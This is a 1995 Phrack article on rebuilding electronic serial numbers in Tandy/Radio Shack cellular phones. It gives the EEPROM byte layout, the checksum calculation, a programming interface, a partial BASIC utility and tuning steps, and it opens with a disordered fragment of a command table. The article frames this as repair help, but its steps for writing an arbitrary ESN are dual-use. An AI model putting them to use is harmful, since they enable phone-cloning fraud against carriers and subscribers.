|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 64# | PLT‑ON | | Turn the APC transmit pilot

| | | path on.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 65# | PLT‑OFF | | Turn the APC transmit pilot

| | | path off.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 66# thru 71#| (NOT USED) | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 66# | IDENTITY TRANSFER | | Series II and some current

| | | portables.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 68# | DISPLAY FLEX AND | |

| | MODEL INFO | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 69# | USED WITH IDENTITY | |

| | TRANSFER | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 72# | MODULATION GAIN | | Refer to the Portable | | ADJUST | | Telephone Phasing section for

| | | use of this command.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 73# | POWER OUTPUT ADJUST | | Refer to the Portable

| | | Telephone Phasing section for

| | | use of this command.

| | | 0 to 7.)

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

Tandy / Radio Shack Cellular Phones

==Phrack Magazine==

Volume Seven, Issue Forty‑Eight, File 7 of 18

TANDY / RADIO SHACK CELLULAR PHONES

REBUILDING ELECTRONIC SERIAL NUMBERS AND OTHER DATA

By Damien Thorn

LEGAL CRAP

(mandated by our cheap‑suit, can't afford cigars, polyester‑pants‑wearing, no‑practice‑having, almost dis‑barred, old‑fart legal counsel who only charges us $20 / hour because he meant to retire when he was 70 but lived a few years longer than he expected...hell, we love him!)

Contents copyright 1994, 1995 Phoenix Rising Communications. Software copyright 1993, 1994, 1995 as indicated.

All Rights Reserved. Distribution of contents in hard‑copy form is forbidden. Redistribution in electronic form is permitted only as outlined in the Phrack licensing agreement, provided this article is not segregated from the other editorial contents of Phrack #48.

Use caution when rebuilding corrupt serial numbers, and avoid lending your talents to further the goals of unscrupulous people.

Altering the serial number of a cellular transceiver is a violation of the FCC rules, and the U.S. Secret Service is charged with the responsibility of investigating fraudulent activity.

All of this material was developed in‑house and not provided or endorsed by the manufacturer. Brand names and trademarks are used for identification purposes only and are the property of their respective owners. Use of same within this article definitely does not imply agreement with or endorsement of the material presented, and probably aggravates them to no end. There are no guarantees or warranties with regard to the accuracy of this article. Although we've done the best job that we can, we may be wrong. Happens all the time. If you damage a phone or inadvertently start a global thermonuclear war, that's your problem. Don't come crying to us, or make us fork over another twenty bucks to the old shyster. What you do with this information is your responsibility.

INTRODUCTION

While manufacturers publish service manuals for their cellular transceivers, they have an annoying habit of omitting certain data pertaining to memory devices and the arrangement of the data stored inside them. Since this stored information includes the electronic serial number (ESN), the lack of documentation can easily be excused as a way to avoid unwittingly facilitating fraud.

The drawback to the 'security through obscurity' approach is that service technicians who have a legitimate need to reprogram these memory devices are unable to do so. The Nokia‑designed transceivers discussed in this article are an excellent example. Since the ESN is stored in the same electrically‑erasable programmable read‑only memory (EEPROM) device as the numeric assignment module (NAM) information, corruption of the data can be catastrophic to the operation of the phone.

Since the handset programming mode of these Nokia units actually write‑enables the memory device to store the alterable parameters, an errant pulse from the microprocessor, dropped bits or supply voltages falling out of tolerance can cause the ESN or checksum to become overwritten or otherwise rendered useless. Should this occur, dealers have had little recourse but to ship the transceiver back to the factory for repair. Until now, that is.

The goal of Phoenix Rising Communications in producing this documentation is to empower technicians to do the job they have been educated and hired to perform. This guide to Tandy and Radio Shack cellular phones will enable the technician to rebuild the corrupt data within this series of transceivers with confidence.

The information in this article was developed from the installed and transportable versions of the most commonly purchased phones from Radio Shack stores. These units were sold for many years, and finally replaced last year with a new, redesigned model. The data presented here can probably be applied to certain compatible Nokia transceivers as indicated later in the text.

CHAPTER 1

This publication is designed to provide supplemental information to assist in the servicing of cellular mobile telephones manufactured by Tandy Corporation under license from the Nokia Corporation. It is not meant to be a replacement for the factory service manual. Any shop needing to perform component level repairs should definitely obtain the factory documentation from Tandy National Parts.

Our primary goal is to explain the contents of the numeric assignment module, or NAM. In these particular phones, both the NAM parameters and the electronic serial number (ESN) are stored within the same electrically erasable programmable read‑only memory (EEPROM) device.

The problem inherent with this engineering decision is that the ESN stored within this chip is not necessarily permanent. Since the chip can be erased or reprogrammed, certain circumstances could possibly cause the ESN to become corrupt. These include improper signals from the microprocessor, induced currents or a power interruption during NAM programming as the write cycle is taking place.

Since the available service literature does not describe the functions of this serial EEPROM or the data contained within, service personnel would have to return the transceiver to the manufacturer for service. This is not cost effective in terms of time or money for either the shop or cellular customer.

Technicians who invest a little time to become familiar with the data stored within the NAM circuitry, including the placement of the ESN and checksum byte can service these types of problems in‑house and with little difficulty.

Basic instructions for peaking the transceiver's RF sections have also been included herein as a convenience. While the phone is open and on the test bench, the customer's transceiver should also be given a quick check for proper alignment.

EQUIPMENT REQUIRED

Other than basic hand tools, disassembly of the phone requires a soldering iron with a medium sized tip and a vacuum de‑soldering tool. Good size solder removal braid may be used in conjunction with, or in lieu of the de‑soldering tool.

To correct data that has become corrupted within the EEPROM, a programming device is required capable of reading and burning an 8‑pin DIP integrated circuit. One such inexpensive device is listed in appendix III.

An individual who is familiar with the memory device involved has written a software program in the BASIC language to allow the programming of this chip via the parallel port of an IBM‑compatible personal computer. The source code for this program can be found in the appendix, and is provided as a reference only. Such software is subject to the peculiarities of the host PC and therefore cannot be recommended for use in place of a standard PROM programmer. Older versions of GWBASIC are preferred to Microsoft's current QBASIC interpreter.

MODELS COVERED

The information presented is believed to cover all of the installed and transportable (bag phone) cellular transceivers manufactured by the Tandy Corporation under license from the Nokia Corporation up until about a year ago.

Tests have been conducted on a random selection of these phones with manufacture dates ranging from 1989 through early 1994. All versions of the "TP" firmware through January, 1994 should be supported.

Although no house‑branded OEM Nokia transceivers have been tested, we have surmised that this information is applicable to several models based on the same or a similar design. These models include the Nokia LX‑11, M‑11, M‑10 and the Nokia‑Mobira P4000 (PT612). Some of these units, like the very old Radio Shack equivalents, will require a service handset to program. More on that in the next issue of Phrack.

HAND‑HELD UNITS

Only one of the hand‑held cellular phones previously sold through Radio Shack utilizes a discrete surface‑mounted integrated circuit to store the ESN and NAM parameters. If you have the capability to read and program this SOIC 93C46 memory device you may be able to extrapolate the PROM dumps in this guide to work with this phone.

Due to the difficulty in disassembling this unit and the delicate nature of the surface‑mounted EEPROM, the reader is cautioned against attempting to service these in‑house.

DISASSEMBLY

Prior to disassembling the transceiver, all antenna and cables, including the handset, should be disconnected from the jacks on the unit.

To aid in disassembly and component location, the original hard‑copy version of this publication contained several pages of photographs. While the hard‑copy version is available (see end of article), you will hopefully be able to figure out what we're talking about without them.

Disassembly begins by snapping the plastic end panel from the black transceiver cover. Some units just pop up and off, while others have two small plastic tabs on each side that must be depressed free the end panel for removal.

With the end panel removed, the top plastic cover is now free to slide off. With this cover removed, the metal transceiver itself can be dumped from the remaining plastic housing by turning it upside down, or pulling up on the metal heat sink assembly that comprises one side of the transceiver unit.

There is a metal shield on each side of the transceiver (top and bottom.) One is a solid piece of thin sheet metal, and the other is broken up in to smaller, individual shields and soldered to the transceiver chassis. The shield that needs to be removed is the solid one. It is only held in place with the friction grips along the edges, and can be pried off with your fingers.

Once the shield is removed from the proper side of the transceiver, the solder side of the logic board will be exposed. This board must be removed to gain access to the component side. Take static precautions so as not to fry the CMOS silicon that is currently hidden from view.

Other than several connectors that mate between the two boards, the board is usually held in place by several blobs of solder spaced along the edge of the board. These small 'solder welds' serve as a ground bond between the board and the transceiver chassis, and are not electrically necessary under normal circumstances.

Once the solder ground bonds have been melted and removed with a de‑soldering tool or solder wick, use a pair of needle‑nose pliers to gently bend back the small metal tabs holding the circuit board in place.

Before proceeding, inspect the foil side of the board to ensure that no solder has splashed on the board during de‑soldering, and that the foil traces where the work was performed are still intact. This last step is where most trouble arises. These boards are delicate, and a heavy hand while prying or bending will almost ensure that a trace or five will be transected when the tool slips. If this happens, resolder the traces to undo the damage.

At this point the logic board is held in place only by pins on the transceiver board sticking up in to sockets on the logic board. Gripping the edges of the logic board with your fingers and pulling straight up will disengage the connectors and allow the logic board to pull free of the transceiver. Slightly rocking the board from each side may aid in the removal. Do not grip the board with pliers or damage can result to the small chip resistors and other components mounted on the solder side of the board.

Once dislodged, you'll have two separate circuit boards.

THE LOGIC BOARD

The board that supplies logic and control functions for the cellular mobile telephone is easily identifiable by the microprocessor and 27C512 EPROM containing the operating firmware. The EPROM's erase window is covered by a protective sticker that identifies the firmware version stored therein. Within the last few years, the version has ranged from TP‑2 through TP‑8.

Also on this board is the serial EEPROM where the ESN and NAM parameters are stored. This chip is an 8‑pin DIP located in a socket near pin #1 of the NEC microprocessor. It is usually covered with a small paper sticker bearing the last few digits of the serial number stored inside.

While security experts may blast Nokia for designing a phone that stores the ESN in a socketed chip, and then says "here I am" by placing a sticker on it, this is a dream come true for any technician facing issues of data corruption.

THE SERIAL EEPROM

The Serial EEPROM containing all of this data is a PCD8572 (or 85C72) manufactured by Microchip Technology, Inc.

This 8‑pin device is a 1k (128x8) CMOS serial electrically erasable PROM. The pin configuration for the device can be found in the appendix.

Power is supplied to this chip only when the microprocessor is performing a read or write operation. Transistor Q115 (surface mounted to the underside of the logic board right about in the middle) switches the supply voltage on and off. Should power be interrupted during the write cycle, the ESN may become corrupt.

REBUILDING THE ESN

To replace the damaged serial number, note the unit's serial number from the cellular service agreement or the phone itself. The ESN (in decimal) is located on a white paper sticker applied to the side of the metal transceiver chassis. It is also stamped into the plastic model identification plate on one side of the plastic outer housing.

For reprogramming, the ESN must be converted to hex. A scientific calculator or any number of public domain computer programs will simplify the task.

CONTENTS OF NAM

Once the original serial number has been determined, carefully remove the 8572 EEPROM from the socket and place it in the adapter required by your PROM programmer. Reading the contents of the chip, you'll see data as depicted below.

Note that these data dumps are simulated for illustrative purposes. The ESN and encoded MIN bytes are not legitimate numbers, so don't bother 'testing' them.

The first five bytes of data contain the security code. These bytes are the hex values representing ASCII characters 0 through 9, thus represented as "3X" where "X" is the actual digit of the security code. A factory security code of 1 2 3 4 5 would be represented in bytes 00 through 04 as follows:

31 32 33 34 35

Since you will require the security code to enter handset programming mode, please note the current security code or program these bytes with your shop's standard default.

UNDERSTANDING ADDRESSES

Some cellular technicians have little experience in the digital world. Service monitors and watt‑meters are expensive and wonderful devices, but sometimes you need to do a little more than tweak a pot to fix a phone. The digital‑literate can skip this oversimplified explanation.

To assist those in reading the locations of the various bytes in the EEPROM, understand that each line (as usually displayed on a programmer) contains sixteen (16) bytes. The first line begins with byte 00, then 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E and finally 0F.

The second line begins with 10, then 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, and 1F as the last byte of the line. The third line increments the same way, except as byte 30, 31, etc., to 3F. You now know how to count in base 16 (hex)!

As an example, the locations used by the phone end at byte 3D, which contains 00 in the example below. Beginning with the next byte (3E), a repetitive pattern of alternating values of AA and 55 are stored. This is just 'test' data and is never read by the phone. The chip itself ends at byte 7F, and your PROM programmer may display FF following byte 7F to indicate the non‑existence of these locations in the chip.

8572 EXAMPLE DATA DUMP

0000 31 32 33 34 35 0A FF 21 A5 38 25 82 0F 25 17 1A 0010 00 00 00 00 24 15 B1 C3 24 04 A3 21 16 2D 11 AA 0020 0A 00 00 64 6C B3 32 00 27 00 01 01 11 11 11 11 0030 11 08 4D 01 0F 01 0F 00 04 00 00 00 FF 00 AA 55 0040 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 0050 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 0060 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 0070 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55

THE CRUCIAL SERIAL NUMBER

The hex ESN for any given phone consists of four bytes, as we use the term here. Technically it is eight bytes (in hex, 32 bits if expressed in binary form), but we're referring to a 'byte' as a two‑digit hex number, rather than each digit (byte) as a single entity. For our example, we're using the fictitious ESN of A521FF0A. All Radio Shack phones will have an ESN beginning with A5 hex. This is the "manufacturers code" prefix that has been assigned to Tandy.

Breaking the ESN into four bytes as viewed on the PROM programmer, the ESN would appear as:

A5 21 FF 0A

Refer back to the example dump of the data within the 8572 IC. Immediately following the security code is the ESN stored in reverse order. With the security code occupying bytes 00 to 04, the ESN is located in bytes 05, 06, 07 and 08. Byte 09 contains the value 38. It should always contain 38.

In the example, beginning with byte 05 you can read the ESN (in reverse sequence) as:

0A FF 21 A5

The examples below will assist you in visualizing the bytes containing the security code and the electronic serial number. The programming and placement of these two crucial pieces of data is fairly straight forward. Using the buffer editor function of the PROM programmer, you can simply type over the garbage that may be present in these locations with the correct values for the security code and the ESN. Double check your data entry!

OTHER ADDRESSES

The entire NAM data is stored in the remaining locations of this chip. Bytes 0A, 0B and 0C contain the firmware revision date, and bytes 0D ‑ 0F contain the installation date as programmed via the handset programming mode.

Other bytes contain the encoded Mobile Identification Number (MIN), Station Class Mark (SCM), etc.

These various bytes do not need to be reprogrammed through your PROM burner, as they can all be corrected via handset programming. Only the security code and ESN must be properly reprogrammed directly to the chip itself. For more information on the locations of this other data, refer to the source code in Appendix A. It allows you to see where (and how) this other data is stored within the NAM.

The last item to program is the checksum.

THE SECURITY CODE: BYTES 00 ‑ 04

0000 31 32 33 34 35 XX XX XX XX XX XX XX XX XX XX XX

THE ESN: BYTES 05 ‑ 08

0000 XX XX XX XX XX 0A FF 21 A5 XX XX XX XX XX XX XX

LOCATING THE CHECKSUM

There is a one byte device checksum stored within the 8572 that is used by the phone to check the integrity of the data stored therein. The checksum is located at byte 3D, indicated by "XX" in the example below.

The checksum is derived from all the data stored in the NAM, not just the ESN. Computing it is relatively easy as it is simply the sum (in hex) of all the values from bytes 00 through 3C as underlined below.

Assuming the PROM programmer has a checksum function, you can enter the beginning address as 0000 and the ending address as 003C. The software will add all of the values between these locations and give you the sum. The alternative is to add the numbers manually using the hex mode of a scientific calculator. Either way, adding the hex values of all the bytes between 00 and 3C of our example yields a sum of 0B5E.

The least significant two‑digit byte is the actual device checksum that would be programmed in location 3D. In our example, the least significant half is 5E. Ignoring the most significant half of the sum (0B), a value of 5E must be programmed to location 3D.

Note that the checksum will be recomputed and change after handset programming. When the MIN or other data is changed, it alters the values in various bytes. The checksum encompasses all of the data stored within the chip used by the transceiver's firmware.

CHECKSUM LOCATION

0000 31 32 33 34 35 0A FF 21 A5 38 25 82 0F 25 17 1A 0010 00 00 00 00 24 15 B1 C3 24 04 A3 21 16 2D 11 AA 0020 0A 00 00 64 6C B3 32 00 27 00 01 01 11 11 11 11 0030 11 08 4D 01 0F 01 0F 00 04 00 00 00 FF XX AA 55 0040 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 0050 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 0060 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 0070 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55

BYTES SUMMED TO DERIVE CHECKSUM

0000 31 32 33 34 35 0A FF 21 A5 38 25 82 0F 25 17 1A 0010 00 00 00 00 24 15 B1 C3 24 04 A3 21 16 2D 11 AA 0020 0A 00 00 64 6C B3 32 00 27 00 01 01 11 11 11 11 0030 11 08 4D 01 0F 01 0F 00 04 00 00 00 FF .. .. ..

0040 .. .. .. .. .. .. .. .. .. .. .. .. ..

0050 .. .. .. .. .. .. .. .. .. .. .. .. ..

0060 .. .. .. .. .. .. .. .. .. .. .. .. ..

0070 .. .. .. .. .. .. .. .. .. .. .. .. ..

DEFAULT VALUES

In the event that all of the data stored within the NAM becomes corrupt, the technician will need to program the security code, the ESN, and certain default data values to allow the phone to power up. Once powered up, all of the other data can be automatically reconstructed by the phone using the handset programming mode.

Since the factory does not provide any information about the contents of the 8572 EEPROM, we are unsure of the function of this 'default data.' It seems to have little significance.

The underlined bytes depicted below are fairly typical. Ideally the technician should compare the contents of an operational phone with equivalent firmware to determine the values for the underlined locations, but if this is not possible then the values provided in the example may suffice.

Once these defaults have been programmed in the proper locations, and the ESN and security code have been reconstructed, compute the checksum and store it in address 3D. Temporarily reassemble the phone and apply power. The unit should power up and complete it's self‑test which will include the operation where the microprocessor computes the NAM checksum and compares it to the value stored in location 3D.

Assuming the self‑diagnostics pass, the remaining data can now be reconstructed through normal handset programming.

The handset programming template applicable to most of these units is located immediately following the appendix detailing the chip programming software included for reference purposes.

DEFAULT DATA VALUES

0000 XX XX XX XX XX XX XX XX XX 38 XX XX XX XX XX XX 0010 00 00 00 00 XX XX XX XX XX XX XX XX XX XX XX XX 0020 XX XX XX XX XX XX XX 00 27 00 01 01 11 11 11 11 0030 11 08 4D 01 0F 01 0F 00 04 00 00 00 FF XX AA 55 0040 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 0050 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 0060 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 0070 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55

ADDITIONAL NOTES

As discussed, the parallel port programming software interface has a few quirks, most involving the programming voltage supplied to the chip. If all else fails, and a PROM burner is not available, take the supply voltage (Vcc) directly from the logic board.

Run test lead jumpers from pins #4 and #8 of the IC socket on the logic board that held the 8572 EEPROM and connect to the respective pins on the socket attached to the cable to be used for programming. Turn the board over and locate surface mount transistor Q115 which switches the supply voltage to the IC socket on and off.

This small chip transistor is directly to the left of pin #8 (of the 8572 socket) and can be positively identified by the circuit trace from socket pin #8 leading directly to the emitter of Q115.

By examining this area of the board, you can determine which of the other two traces connects to the transistor's collector. Jumpering the traces and shorting the collector and emitter simply provides a constant, conditioned voltage supply to the socket designed to power the 8572 in programming mode. It may also be necessary to cut the trace to the base of Q115.

Once the chip has been programmed with the software, restore the integrity of the cut trace to the base of Q115 and remove the short between the collector and emitter.

USING THE SOFTWARE

The Cellular Data Repair Utility software requires that you first create a small text file using an ASCII text editor such as DOS's "EDIT" utility program.

This text file must contain the data described below in the specific order presented. The data in this image (.img) file will be programmed into the 8572.

XXX ESN Prefix (decimal)

XXXXXXXX ESN (8 digits decimal)

XXXXX SIDH (5 digits decimal)

1 Access Bit

1 Local Option Bit

AAAPPPXXXX MIN (10 digits)

08 SCM

0XXX (0333 or 0334)

10 Access Overload Class

1 Pref. System Bit

10 GIM

12345 Security Code

EXAMPLE IMAGE FILE

Filename: TEST.IMG

165

00246812

00031

1

1

5105551212

08

0334

10

1

10

12345

PROGRAMMING

Once the image file containing the appropriate data has been saved, run the software with QBASIC or Microsoft BASIC and follow the prompts. Be sure to set the proper parallel port address in line 1950 to reflect the port to which the interface is connected first.

TUNING STEPS

1) With a digital voltmeter attached to the positive terminal of C908, adjust VR908 to provide a reading of 8 vdc (q 0.1 volt).

2) With the voltmeter attached to the positive terminal of C913, adjust VR918 for a reading of 8 vdc (q 0.1 volt).

3) Connect the voltmeter to test point TXV and enter diagnostic command 0, 1, SEL, 9, END. Adjust C676 to achieve a reading of 5 vdc control voltage (q 0.1 volt).

4) Check receiver control voltage with test point RXV. Adjust C614 for a reading of 4 vdc (q 0.1 volt).

5) With a power meter connected to the antenna connector of the transceiver through an attenuator, enter command SEL, 1, 2, SND, END to turn on the transmitter at high power. VR814 should then be adjusted to show 3 watts (34.8 dBm) on the power meter.

6) Using the same power meter, enter command SEL, 1, 3, 7, END.

Adjust VR846 for a low power maximum reading of 4 milliwatts (6 dBm).

7) Using a frequency counter to measure the output of the antenna connector, adjust X600 for a reading of 836.4000 MHz (q 0.1 kHz).

8) Using a deviation meter, activate DTMF tones with command SEL, 2, 1, END, 1, 1, END and adjust VR259 for 8.4 kHz q 0.1 kHz DTMF deviation.

9) End DTMF signaling with command 1, 0, END. Enable SAT transmission by entering SEL, 2, 8, SND, END and adjust VR261 for 7.8 kHz deviation (q 0.1 kHz).

10) Enter SND, END to discontinue SAT signaling.

ADDITIONAL ADJUSTMENT

The level of audio fed to the earphone via the "ear" line (pin #7 on the handset connector) can be adjusted via VR215. 1.2 Vrms is the factory specified level with the volume turned up to it's maximum setting.

Received audio signals can be adjusted for minimal distortion by peaking L703.

Frequency deviation of voice audio can be fine tuned with VR260. Factory spec. is for 8 kHz deviation.

POWER LOSS

If the transceiver refuses to even power up and begin self‑diagnostics, check the traces on the underside of the board near the power connector.

Most of these units 'protect' themselves against reverse polarity being present on the power cables with fusible traces. If the phone is connected to a vehicle or battery power supply backwards, one of these very small circuit traces will vaporize, leaving the phone inoperative.

While inconvenient for the customer and service technician alike, repairing the trace is an additional source of revenue for the shop that might not be generated had a standard replaceable fuse or rectifier been utilized in the design.

APPENDIX III

TECHNICAL RESOURCES

EEPROM PROGRAMMER

In preparing this article and performing other research involving various types of firmware, we used the EPROM+ programming system from Andromeda Research. This small, portable device is housed in a carrying case and requires no internal card to operate with your PC. Once the software is installed on the computer, the EPROM+ programmer is simply plugged into an available parallel printer port.

To program the PCD8572 series EEPROMs, a small adapter is required.

You can construct this yourself from the included instructions, or purchase it already built for about $35 extra.

The EPROM+ programming system is available for $289 from the manufacturer:

Andromeda Research

P.O. Box 222

Milford, Ohio 45150

(513) 831‑9708 ‑ voice

(513) 831‑7562 ‑ fax

SERVICE MANUALS

Service manuals are available for most Radio Shack or Tandy products from Tandy National Parts. Ordering these publications requires that you visit your local Radio Shack store. Tell the clerk that you want him (or her) to call National Parts and order a service manual for catalog number....

National Parts no longer accepts calls from consumers and will only ship to a recognized Radio Shack retail outlet.

NOKIA ‑ MOBIRA

Service handsets, manuals and other parts can be ordered from Nokia‑Mobira in Largo, Florida. Their toll‑free technical assistance number is (800) 666‑5553.

TANDY FAX‑BACK SERVICE

Tandy Support Services offers technical information via fax‑back server. There is no mention that the service is restricted to Radio Shack stores. Although ANI can be hell, the toll‑free number is (800) 323‑6586 if you want to be faxed product info on assorted 'Shack products. The server makes neat video game noises, and thanks you for using the service.

For an index of the cellular specification sheets available via fax‑back, request document #8882.

Programming instructions are also available from this automated fax server:

DOCUMENT # PHONE MODEL

9009 Current List [index]

8728 CT‑105, 1050, 1055

9004 CT‑350

9005 CT‑302

9006 CT‑102, 103, 104, 1030, 1033

9007 CT‑300, 301

9008 CT‑100, 101, 200, 201

9020 CT‑351

9665 BC901ST [170‑1015]

9579 CP‑1700 [170‑1016]

9577 CP‑4600/5600 [170‑1067 / 170‑1056]

14493 Ericsson AH‑210 [170‑1064]

9581 EZ‑400 [170‑1057]

9743 Motorola 12822 [170‑1058]

9583 Motorola DPC550 [170‑1059]

This information provided for reference purposes only. Use of this fax‑back service may be restricted to authorized personnel. No one has ever faxed me to complain, however.

THE INTERFACE

The uuencoded drawing which accompanies this article describes the interface required to use the programming software to rebuild the data stored within the serial EEPROM. Because there are a number of variables that can affect the performance of this software and interface, prepare yourself for a bit of trial and error. A standard programming device is recommended over the use of this software. Since the original publication of this manual in hard‑copy, we've heard reports that the software does not work well with the PCD8572, but does favor the PCD85C72 (CMOS version).

The DB‑25 connector is wired to an 8‑pin DIP socket to accommodate the 8572 integrated circuit. A regulated, well‑filtered source of 5 volts must be connected to pin #8 of the DIP socket, and Pin #4 must be tied to ground. If the PC used for programming and the power source to the IC socket share a common ground, you may be able to use pin #25 of the parallel port connector as shown in the diagram.

Please be careful not to cause any shorts in this instance or you may damage your computer by sinking too much current through the parallel port. If you are unsure of what you are doing, eliminate the connection between pin #4 of the IC socket and pin #25 of the DB‑25 connector. Instead, connect pin #4 directly to ground.

The resistor shown in the circuit is used as an optional voltage divider. Depending on the voltage provided by pin #2 of your parallel port, a resistor between 100 and 1k ohms may be required to drop it to a level within the nominal range required by the EEPROM.

TUNING THE RADIO

The diagrams in the uuencoded .zip file will assist in identifying and locating the various adjustment points on the logic board and transceiver (RF) PC board. Alignment should not be attempted by technicians unfamiliar with the principles involved, or in the absence of calibrated radio frequency measurement equipment.

A diagnostic (service) handset may be required to access service‑level commands within the transceiver. If the phone does not respond properly to the commands documented herein, you'll need to obtain a service handset from Tandy National Parts. This handset is actually a Nokia "programming handset" which can be obtained directly from the factory.

PROGRAMMING TEMPLATE

For Tandy / Radio Shack Cellular Mobile Telephones Models CT‑102, 302, 1030, 1033, etc.

1) Power up phone. After the phone cycles through it's self‑test mode and the display clears, enter the following keystrokes from the keypad:

*, 3, 0, 0, 1, #, X, X, X, X, X, SEL, 9, END

The X, X, X, X, X represents the five‑digit security code stored in EEPROM. The factory default is 1, 2, 3, 4, 5. This security code is required to access handset programming mode.

2) The display will now read: IdEnt IF InFO Pri

3) Press END to program NAM 1. Display will show first programming step.

4) To program NAM 2, press SND twice instead of END. Display will cycle through: OPt InFO diSAbLEd then OPt InFO EnAbLEd

5) Use the END key to step through each step. The SND key toggles the state of single‑digit options. To enter new information, use END to step through the display until the old data is displayed. Key in the new data and press END to increment to the next step.

6) When programming has been completed, press SEL, CLR to save changes.

Step # Desired Input Display Data Description

01 5 digits HO‑Id SIDH (Home System Identification) 02 0 or 1 MIN Mark MIN Mark (Toggle with SND)

03 0 or 1 LOCL OPt Local Use Mark (Toggle with SND) 04 10 digits Phon MIN (Area Code + Mobile Number) 05 08 St CLASS SCM (Station Class Mark)

06 333 or 334 PAging Ch IPCH (Initial Paging Channel) 07 2 digits O‑LOAd CL Access Overload Class

08 A or B PrEF SyS Preferred System (Toggle with SND) 09 2 digits grOUP Id GIM Mark (Set to 10 in U.S.) 10 5 digits SECUrity Security Code

11 ‑‑‑‑‑‑‑ 1 dAtE Firmware Date ‑ not changeable 12 mmddyy 2 dAtE Installation Date

Press SEL, CLR to save & exit. Turn Power off and back on for model CT‑302.

[Begin Editorial]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

HOW TO OBTAIN A HARD‑COPY VERSION OF THIS FILE ‑ WITH ALL PHOTOS:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"The Complete Guide to Tandy / Radio Shack Cellular Hardware" is available for $15 prepaid. We keep $5 of the price to cover the cost of printing and the Priority mail postage. The remaining $10 of the purchase price will be donated to Boston's The L0pht to help them cover the cost of upgrading their Internet connection for l0pht.com....

The guys at the L0pht have always been cool with us, and maintain what amounts to one of the best cellular archives accessible on the 'net. We want to do what we can to assist them in providing this public source of enlightenment. Now you can help them, and get something for it in return. If nothing else, you can sit back and enjoy all my great close‑up photos of the chips <g>!

Damien Thorn

Here's the address:

Phoenix Rising Communications

3422 W. Hammer Lane, Suite C‑110

Stockton, California 95219

[end editorial]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

You can reach me via e‑mail at: damien@prcomm.com

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1000 ' CELLULAR DATA REPAIR UTILITY

1005 ' Form image and program PCD8572 IC via LPT port.

1010 ' (c) 1993, 1994, 1995 WarpCoreBreachGroup ‑ All rights reserved. 1015 '

1020 ' This program is not shareware/freeware.

1025 '

1030 DATA xx,xx,xx,xx,xx,xx,xx,xx ' Bytes 00‑07

1040 DATA xx,38,xx,xx,xx,xx,xx,xx ' Bytes 08‑15

1050 DATA 00,00,00,00,xx,xx,xx,xx ' Bytes 16‑23

1060 DATA xx,xx,xx,xx,xx,xx,xx,xx ' Bytes 24‑31

1070 DATA xx,xx,xx,D6,C5,5C,C6,00 ' Bytes 32‑39

1080 DATA 27,00,01,01,11,11,11,11 ' Bytes 40‑47

1090 DATA 11,08,4D,01,0F,01,0F,00 ' Bytes 48‑55

1100 DATA 04,00,00,00,FF ' Bytes 56‑60

1105 UNIT1$="050490"

1110 DIM BYTE$(60),BYTE(61)

1120 FOR I=0 TO 60:READ BYTE$(I):NEXT

1130 FILES "*.IMG"

1140 LINE INPUT "Which file do you want to read? ";F$

1150 OPEN "I",#1,F$+".IMG"

1160 INPUT#1,ESNPREFIX

1170 INPUT#1,ESN#

1180 INPUT#1,HOMEID

1190 INPUT#1,ACCESS

1200 INPUT#1,LOCALOPT

1210 INPUT#1,PHONE$

1220 INPUT#1,STATCLASS

1230 INPUT#1,PGCH

1240 INPUT#1,OVERLDCL

1250 INPUT#1,PREFSYS

1260 INPUT#1,GROUPID

1270 INPUT#1,SEC$

1280 ' Building binary image

1290 UNIT2$=MID$(UNIT$,1,2)+MID$(UNIT$,4,2)+MID$(UNIT$,9,2)

1300 CLOSE #1

